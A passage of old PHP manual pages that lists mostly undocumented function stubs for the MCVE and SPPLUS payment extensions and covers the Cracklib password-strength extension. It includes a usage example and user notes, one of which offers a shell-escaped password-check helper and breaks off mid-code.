
m_completeauthorizations — Number of complete authorizations in queue, returning an array of their identifiers

Description

int m_completeauthorizations ( resource $conn , int &$array )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

array

Its description

Return Values

What the function returns, first on success, then on failure. See also the &return.success; entity

User Contributed Notes

There are no user contributed notes for this page.


Establish the connection to MCVE

  • « m_completeauthorizations
  • m_connectionerror »
  • PHP Manual
  • MCVE Functions
  • Establish the connection to MCVE

m_connect

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_connect — Establish the connection to MCVE

Description

int m_connect ( resource $conn )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get a textual representation of why a connection failed

  • « m_connect
  • m_deletetrans »
  • PHP Manual
  • MCVE Functions
  • Get a textual representation of why a connection failed

m_connectionerror

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_connectionerror — Get a textual representation of why a connection failed

Description

string m_connectionerror ( resource $conn )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Delete specified transaction from MCVE_CONN structure

  • « m_connectionerror
  • m_destroyconn »
  • PHP Manual
  • MCVE Functions
  • Delete specified transaction from MCVE_CONN structure

m_deletetrans

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_deletetrans — Delete specified transaction from MCVE_CONN structure

Description

bool m_deletetrans ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Destroy the connection and MCVE_CONN structure

  • « m_deletetrans
  • m_destroyengine »
  • PHP Manual
  • MCVE Functions
  • Destroy the connection and MCVE_CONN structure

m_destroyconn

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_destroyconn — Destroy the connection and MCVE_CONN structure

Description

bool m_destroyconn ( resource $conn )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

Return Values

Returns TRUE.

See Also

  • m_initconn() - Create and initialize an MCVE_CONN structure

User Contributed Notes

There are no user contributed notes for this page.


Free memory associated with IP/SSL connectivity

  • « m_destroyconn
  • m_getcell »
  • PHP Manual
  • MCVE Functions
  • Free memory associated with IP/SSL connectivity

m_destroyengine

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_destroyengine — Free memory associated with IP/SSL connectivity

Description

void m_destroyengine ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Get a specific cell from a comma delimited response by column name

  • « m_destroyengine
  • m_getcellbynum »
  • PHP Manual
  • MCVE Functions
  • Get a specific cell from a comma delimited response by column name

m_getcell

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_getcell — Get a specific cell from a comma delimited response by column name

Description

string m_getcell ( resource $conn , int $identifier , string $column , int $row )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

column

row

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get a specific cell from a comma delimited response by column number

  • « m_getcell
  • m_getcommadelimited »
  • PHP Manual
  • MCVE Functions
  • Get a specific cell from a comma delimited response by column number

m_getcellbynum

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_getcellbynum — Get a specific cell from a comma delimited response by column number

Description

string m_getcellbynum ( resource $conn , int $identifier , int $column , int $row )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

column

row

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the RAW comma delimited data returned from MCVE

  • « m_getcellbynum
  • m_getheader »
  • PHP Manual
  • MCVE Functions
  • Get the RAW comma delimited data returned from MCVE

m_getcommadelimited

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_getcommadelimited — Get the RAW comma delimited data returned from MCVE

Description

string m_getcommadelimited ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the name of the column in a comma-delimited response

  • « m_getcommadelimited
  • m_initconn »
  • PHP Manual
  • MCVE Functions
  • Get the name of the column in a comma-delimited response

m_getheader

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_getheader — Get the name of the column in a comma-delimited response

Description

string m_getheader ( resource $conn , int $identifier , int $column_num )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

column_num

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Create and initialize an MCVE_CONN structure

  • « m_getheader
  • m_initengine »
  • PHP Manual
  • MCVE Functions
  • Create and initialize an MCVE_CONN structure

m_initconn

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_initconn — Create and initialize an MCVE_CONN structure

Description

resource m_initconn ( void )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns an MCVE_CONN resource.

See Also

  • m_destroyconn() - Destroy the connection and MCVE_CONN structure

User Contributed Notes

There are no user contributed notes for this page.


Ready the client for IP/SSL Communication

  • « m_initconn
  • m_iscommadelimited »
  • PHP Manual
  • MCVE Functions
  • Ready the client for IP/SSL Communication

m_initengine

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_initengine — Ready the client for IP/SSL Communication

Description

int m_initengine ( string $location )
Warning

This function is currently not documented; only its argument list is available.

Parameters

location

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Checks to see if response is comma delimited

  • « m_initengine
  • m_maxconntimeout »
  • PHP Manual
  • MCVE Functions
  • Checks to see if response is comma delimited

m_iscommadelimited

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_iscommadelimited — Checks to see if response is comma delimited

Description

int m_iscommadelimited ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The maximum amount of time the API will attempt a connection to MCVE

  • « m_iscommadelimited
  • m_monitor »
  • PHP Manual
  • MCVE Functions
  • The maximum amount of time the API will attempt a connection to MCVE

m_maxconntimeout

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_maxconntimeout — The maximum amount of time the API will attempt a connection to MCVE

Description

bool m_maxconntimeout ( resource $conn , int $secs )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

secs

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Perform communication with MCVE (send/receive data) Non-blocking

  • « m_maxconntimeout
  • m_numcolumns »
  • PHP Manual
  • MCVE Functions
  • Perform communication with MCVE (send/receive data) Non-blocking

m_monitor

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_monitor — Perform communication with MCVE (send/receive data) Non-blocking

Description

int m_monitor ( resource $conn )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Number of columns returned in a comma delimited response

  • « m_monitor
  • m_numrows »
  • PHP Manual
  • MCVE Functions
  • Number of columns returned in a comma delimited response

m_numcolumns

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_numcolumns — Number of columns returned in a comma delimited response

Description

int m_numcolumns ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Number of rows returned in a comma delimited response

  • « m_numcolumns
  • m_parsecommadelimited »
  • PHP Manual
  • MCVE Functions
  • Number of rows returned in a comma delimited response

m_numrows

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_numrows — Number of rows returned in a comma delimited response

Description

int m_numrows ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Parse the comma delimited response so m_getcell, etc will work

  • « m_numrows
  • m_responsekeys »
  • PHP Manual
  • MCVE Functions
  • Parse the comma delimited response so m_getcell, etc will work

m_parsecommadelimited

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_parsecommadelimited — Parse the comma delimited response so m_getcell, etc will work

Description

int m_parsecommadelimited ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Returns array of strings which represents the keys that can be used for response parameters on this transaction

  • « m_parsecommadelimited
  • m_responseparam »
  • PHP Manual
  • MCVE Functions
  • Returns array of strings which represents the keys that can be used for response parameters on this transaction

m_responsekeys

(PHP 5 >= 5.0.5, PECL mcve >= 1.0.0)

m_responsekeys — Returns array of strings which represents the keys that can be used for response parameters on this transaction

Description

array m_responsekeys ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get a custom response parameter

  • « m_responsekeys
  • m_returnstatus »
  • PHP Manual
  • MCVE Functions
  • Get a custom response parameter

m_responseparam

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_responseparam — Get a custom response parameter

Description

string m_responseparam ( resource $conn , int $identifier , string $key )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

key

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Check to see if the transaction was successful

  • « m_responseparam
  • m_setblocking »
  • PHP Manual
  • MCVE Functions
  • Check to see if the transaction was successful

m_returnstatus

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_returnstatus — Check to see if the transaction was successful

Description

int m_returnstatus ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set blocking/non-blocking mode for connection

  • « m_returnstatus
  • m_setdropfile »
  • PHP Manual
  • MCVE Functions
  • Set blocking/non-blocking mode for connection

m_setblocking

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_setblocking — Set blocking/non-blocking mode for connection

Description

int m_setblocking ( resource $conn , int $tf )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

tf

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set the connection method to Drop-File

  • « m_setblocking
  • m_setip »
  • PHP Manual
  • MCVE Functions
  • Set the connection method to Drop-File

m_setdropfile

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_setdropfile — Set the connection method to Drop-File

Description

int m_setdropfile ( resource $conn , string $directory )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

directory

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set the connection method to IP

  • « m_setdropfile
  • m_setssl_cafile »
  • PHP Manual
  • MCVE Functions
  • Set the connection method to IP

m_setip

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_setip — Set the connection method to IP

Description

int m_setip ( resource $conn , string $host , int $port )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

host

port

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set SSL CA (Certificate Authority) file for verification of server certificate

  • « m_setip
  • m_setssl_files »
  • PHP Manual
  • MCVE Functions
  • Set SSL CA (Certificate Authority) file for verification of server certificate

m_setssl_cafile

(PHP 5 >= 5.0.5, PECL mcve >= 1.0.0)

m_setssl_cafile — Set SSL CA (Certificate Authority) file for verification of server certificate

Description

int m_setssl_cafile ( resource $conn , string $cafile )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

cafile

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set certificate key files and certificates if server requires client certificate verification

  • « m_setssl_cafile
  • m_setssl »
  • PHP Manual
  • MCVE Functions
  • Set certificate key files and certificates if server requires client certificate verification

m_setssl_files

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_setssl_files — Set certificate key files and certificates if server requires client certificate verification

Description

int m_setssl_files ( resource $conn , string $sslkeyfile , string $sslcertfile )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

sslkeyfile

sslcertfile

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set the connection method to SSL

  • « m_setssl_files
  • m_settimeout »
  • PHP Manual
  • MCVE Functions
  • Set the connection method to SSL

m_setssl

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_setssl — Set the connection method to SSL

Description

int m_setssl ( resource $conn , string $host , int $port )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

host

port

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set maximum transaction time (per trans)

  • « m_setssl
  • m_sslcert_gen_hash »
  • PHP Manual
  • MCVE Functions
  • Set maximum transaction time (per trans)

m_settimeout

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_settimeout — Set maximum transaction time (per trans)

Description

int m_settimeout ( resource $conn , int $seconds )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

seconds

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Generate hash for SSL client certificate verification

  • « m_settimeout
  • m_transactionssent »
  • PHP Manual
  • MCVE Functions
  • Generate hash for SSL client certificate verification

m_sslcert_gen_hash

(PECL mcve >= 5.2.0)

m_sslcert_gen_hash — Generate hash for SSL client certificate verification

Description

string m_sslcert_gen_hash ( string $filename )
Warning

This function is currently not documented; only its argument list is available.

Parameters

filename

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Check to see if outgoing buffer is clear

  • « m_sslcert_gen_hash
  • m_transinqueue »
  • PHP Manual
  • MCVE Functions
  • Check to see if outgoing buffer is clear

m_transactionssent

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_transactionssent — Check to see if outgoing buffer is clear

Description

int m_transactionssent ( resource $conn )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Number of transactions in client-queue

  • « m_transactionssent
  • m_transkeyval »
  • PHP Manual
  • MCVE Functions
  • Number of transactions in client-queue

m_transinqueue

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_transinqueue — Number of transactions in client-queue

Description

int m_transinqueue ( resource $conn )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Add key/value pair to a transaction. Replaces deprecated transparam()

  • « m_transinqueue
  • m_transnew »
  • PHP Manual
  • MCVE Functions
  • Add key/value pair to a transaction. Replaces deprecated transparam()

m_transkeyval

(PHP 5 >= 5.0.5, PECL mcve >= 1.0.0)

m_transkeyval — Add key/value pair to a transaction. Replaces deprecated transparam()

Description

int m_transkeyval ( resource $conn , int $identifier , string $key , string $value )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

key

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Start a new transaction

  • « m_transkeyval
  • m_transsend »
  • PHP Manual
  • MCVE Functions
  • Start a new transaction

m_transnew

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_transnew — Start a new transaction

Description

int m_transnew ( resource $conn )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Finalize and send the transaction

  • « m_transnew
  • m_uwait »
  • PHP Manual
  • MCVE Functions
  • Finalize and send the transaction

m_transsend

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_transsend — Finalize and send the transaction

Description

int m_transsend ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Wait x microsecs

  • « m_transsend
  • m_validateidentifier »
  • PHP Manual
  • MCVE Functions
  • Wait x microsecs

m_uwait

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_uwait — Wait x microsecs

Description

int m_uwait ( int $microsecs )
Warning

This function is currently not documented; only its argument list is available.

Parameters

microsecs

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Whether or not to validate the passed identifier on any transaction it is passed to

  • « m_uwait
  • m_verifyconnection »
  • PHP Manual
  • MCVE Functions
  • Whether or not to validate the passed identifier on any transaction it is passed to

m_validateidentifier

(PHP 5 >= 5.0.5, PECL mcve >= 1.0.0)

m_validateidentifier — Whether or not to validate the passed identifier on any transaction it is passed to

Description

int m_validateidentifier ( resource $conn , int $tf )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

tf

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set whether or not to PING upon connect to verify connection

  • « m_validateidentifier
  • m_verifysslcert »
  • PHP Manual
  • MCVE Functions
  • Set whether or not to PING upon connect to verify connection

m_verifyconnection

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_verifyconnection — Set whether or not to PING upon connect to verify connection

Description

bool m_verifyconnection ( resource $conn , int $tf )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

tf

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set whether or not to verify the server ssl certificate

  • « m_verifyconnection
  • SPPLUS »
  • PHP Manual
  • MCVE Functions
  • Set whether or not to verify the server ssl certificate

m_verifysslcert

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_verifysslcert — Set whether or not to verify the server ssl certificate

Description

bool m_verifysslcert ( resource $conn , int $tf )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

tf

Return Values

User Contributed Notes

There are no user contributed notes for this page.


SPPLUS Payment System

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • SPPLUS Functions
    • calcul_hmac — Obtain a hmac key (needs 8 arguments)
    • calculhmac — Obtain a hmac key (needs 2 arguments)
    • nthmac — Obtain a nthmac key (needs 2 arguments)
    • signeurlpaiement — Obtain the payment url (needs 2 arguments)

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This extension gives you the possibility to use the » SPPLUS Payment System of the Caisse d'Epargne (a French Bank).

Note: This extension is not available on Windows platforms.

Refer to the README files in kit_php's source distribution for configuration details.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

Note: You need at least PHP 4.1.0 and SPPLUS v.3

Note: You will need to get the new kit_php for spplus. Feel free to contact the maintainer if you can't get it.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/spplus.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Note:

PHP 4.3.0 or greater is required for the compression to work.

User Contributed Notes

There are no user contributed notes for this page.


SPPLUS Functions

Table of Contents

  • calcul_hmac — Obtain a hmac key (needs 8 arguments)
  • calculhmac — Obtain a hmac key (needs 2 arguments)
  • nthmac — Obtain a nthmac key (needs 2 arguments)
  • signeurlpaiement — Obtain the payment url (needs 2 arguments)

User Contributed Notes

There are no user contributed notes for this page.


Obtain a hmac key (needs 8 arguments)

  • « SPPLUS Functions
  • calculhmac »
  • PHP Manual
  • SPPLUS Functions
  • Obtain a hmac key (needs 8 arguments)

calcul_hmac

(PECL spplus >= 1.0.0)

calcul_hmac — Obtain a hmac key (needs 8 arguments)

Description

string calcul_hmac ( string $clent , string $siretcode , string $price , string $reference , string $validity , string $taxation , string $devise , string $language )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Obtain a hmac key (needs 2 arguments)

  • « calcul_hmac
  • nthmac »
  • PHP Manual
  • SPPLUS Functions
  • Obtain a hmac key (needs 2 arguments)

calculhmac

(PECL spplus >= 1.0.0)

calculhmac — Obtain a hmac key (needs 2 arguments)

Description

string calculhmac ( string $clent , string $data )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Obtain a nthmac key (needs 2 arguments)

  • « calculhmac
  • signeurlpaiement »
  • PHP Manual
  • SPPLUS Functions
  • Obtain a nthmac key (needs 2 arguments)

nthmac

(PECL spplus >= 1.0.0)

nthmac — Obtain a nthmac key (needs 2 arguments)

Description

string nthmac ( string $clent , string $data )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Obtain the payment url (needs 2 arguments)

  • « nthmac
  • Cryptography Extensions »
  • PHP Manual
  • SPPLUS Functions
  • Obtain the payment url (needs 2 arguments)

signeurlpaiement

(PECL spplus >= 1.0.0)

signeurlpaiement — Obtain the payment url (needs 2 arguments)

Description

string nthmac ( string $clent , string $data )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Cryptography Extensions

  • Crack — Cracklib
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Crack Functions
  • Hash — HASH Message Digest Framework
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Hash Functions
  • Mcrypt
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Mcrypt ciphers
    • Examples
    • Mcrypt Functions
  • Mhash
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Mhash Functions
  • OpenSSL
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Key/Certificate parameters
    • Certificate Verification
    • OpenSSL Functions
  • Password Hashing
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Password Hashing Functions

User Contributed Notes

There are no user contributed notes for this page.


Cracklib

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Crack Functions
    • crack_check — Performs an obscure check with the given password
    • crack_closedict — Closes an open CrackLib dictionary
    • crack_getlastmessage — Returns the message from the last obscure check
    • crack_opendict — Opens a new CrackLib dictionary

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These functions allow you to use the CrackLib library to test the 'strength' of a password. The 'strength' of a password is tested by that checks length, use of upper and lower case and checked against the specified CrackLib dictionary. CrackLib will also give helpful diagnostic messages that will help 'strengthen' the password.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.0.0.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

More information regarding CrackLib along with the library can be found at » http://sourceforge.net/projects/cracklib.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/crack.

In PHP 4 this PECL extensions source can be found in the ext/ directory within the PHP source or at the PECL link above. In order to use these functions you must compile PHP with Crack support by using the --with-crack[=DIR] configuration option.

Windows users will enable php_crack.dll inside of php.ini in order to use these functions. In PHP 4 this DLL resides in the extensions/ directory within the PHP Windows binaries download. A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Crack configuration options
Name | Default | Changeable | Changelog
crack.default_dictionary | NULL | PHP_INI_PERDIR | PHP_INI_SYSTEM in crack <= 0.2. Available since PHP 4.0.5. Removed in PHP 5.0.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

The CrackLib extension defines a dictionary resource identifier returned by crack_opendict().

User Contributed Notes

There are no user contributed notes for this page.


Examples

This example shows how to open a CrackLib dictionary, test a given password, retrieve any diagnostic messages, and close the dictionary.

Example #1 CrackLib example

<?php
// Open CrackLib Dictionary
$dictionary = crack_opendict('/usr/local/lib/pw_dict')
     or die('Unable to open CrackLib dictionary');

// Perform password check
$check = crack_check($dictionary, 'gx9A2s0x');

// Retrieve messages
$diag = crack_getlastmessage();
echo $diag; // 'strong password'

// Close dictionary
crack_closedict($dictionary);
?>

Note:

If crack_check() returns TRUE, crack_getlastmessage() will return 'strong password'.

User Contributed Notes

There are no user contributed notes for this page.


Crack Functions

Table of Contents

  • crack_check — Performs an obscure check with the given password
  • crack_closedict — Closes an open CrackLib dictionary
  • crack_getlastmessage — Returns the message from the last obscure check
  • crack_opendict — Opens a new CrackLib dictionary

User Contributed Notes

leeyuiwah at NOSPAM dot hknet dot com 22-Nov-2007 11:24
Please note that the manual is a little bit misleading when providing references.  The sourceforge URL cited
(i.e. http://sourceforge.net/projects/cracklib) is the homepage of cracklib the enabler (upon which other things build), NOT the crack PECL extension.  If you are a PHP user looking for the crack PECL extension, you should NOT download from sourceforge.  Instead, you should download from the PECL homepage (http://pecl.php.net).  When you are there, search for "crack" not "cracklib".
Martin 05-Jun-2007 06:08
For those of you not familiar with the CrackLib Library:

CrackLib (or PHP Crack) can not cope with plaintext wordlists.
You have to generate a binary version of any plaintext list first.

After you have done this you get 3 files with different extensions:

my_list.txt

---->

my_list.pwd
my_list.hwm
my_list.pwi

crack_opendict() must be called with the first argument describing the path and base filename of the binary wordlist, e.g. C:\....\my_list or /usr/local/... (see below)

Now the bad news - how to generate the 3 files:

The only way i managed to do it:

o Download the CrackLib package from sourceforge (see link in php.net txt)
o USE UNIX/LINUX:
o run configure
o run make all
o run make install
o run make dict (having the wordlists in the /dict directory)
o look for the files in /usr/local/share/cracklib/
o copy the files in a convenient directory

That's it.


Performs an obscure check with the given password

  • « Crack Functions
  • crack_closedict »
  • PHP Manual
  • Crack Functions
  • Performs an obscure check with the given password

crack_check

(PECL crack >= 0.1)

crack_check — Performs an obscure check with the given password

Description

bool crack_check ( resource $dictionary , string $password )
bool crack_check ( string $password )

Performs an obscure check with the given password on the specified dictionary.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

dictionary

The crack lib dictionary. If not specified, the last opened dictionary is used.

password

The tested password.

Return Values

Returns TRUE if password is strong, or FALSE otherwise.

User Contributed Notes

Anonymous 25-Feb-2010 10:16
In addition to the usual checks crack can also check for similarities between the password and a username and gecos field (the gecos field normally contains the person's full name on unix systems).

There is a third format for the function call which supplies these additional parameters:

bool crack_check (string $password, string $username, string $gecos, resource $dictionary)

This is true of PECL crack version 0.4, I'm not sure about earlier versions.
vkontakte at mralston dot com 21-Jan-2010 04:27
If you need to test a password with cracklib but don't have the necessary module available in PHP, you can use a function like this.
It requires the command line cracklib-check binary in /usr/sbin, but changing its location is trivial.
The $message variable will contain cracklib's complaint (if there is one)
You'll want to wrap your invocation of this function in a try...catch block.

<?php
function cracklibCheck($password, &$message)
{
    // Clean up password
    $password=str_replace("\r", "", $password);
    $password=str_replace("\n", "", $password);

    // Run password through cracklib-check
    exec("echo ".escapeshellarg($password)." | /usr/sbin/cracklib-check 2>/dev/null", $output, $return_var);

    // Check it ran properly
    if($return_var==0)
    {
        if(preg_match("/^.*\: ([^:]+)$/", $output[0], $matches))
        {
            // Check response
            if(strtoupper($matches[1])=="OK")
            {
                // Password is strong
                $message="";
                return(true);
            }
            else
            {
                // Cracklib doesn't like it
                $message=$matches[1];
                return(false);
            }
        }
        else
        {
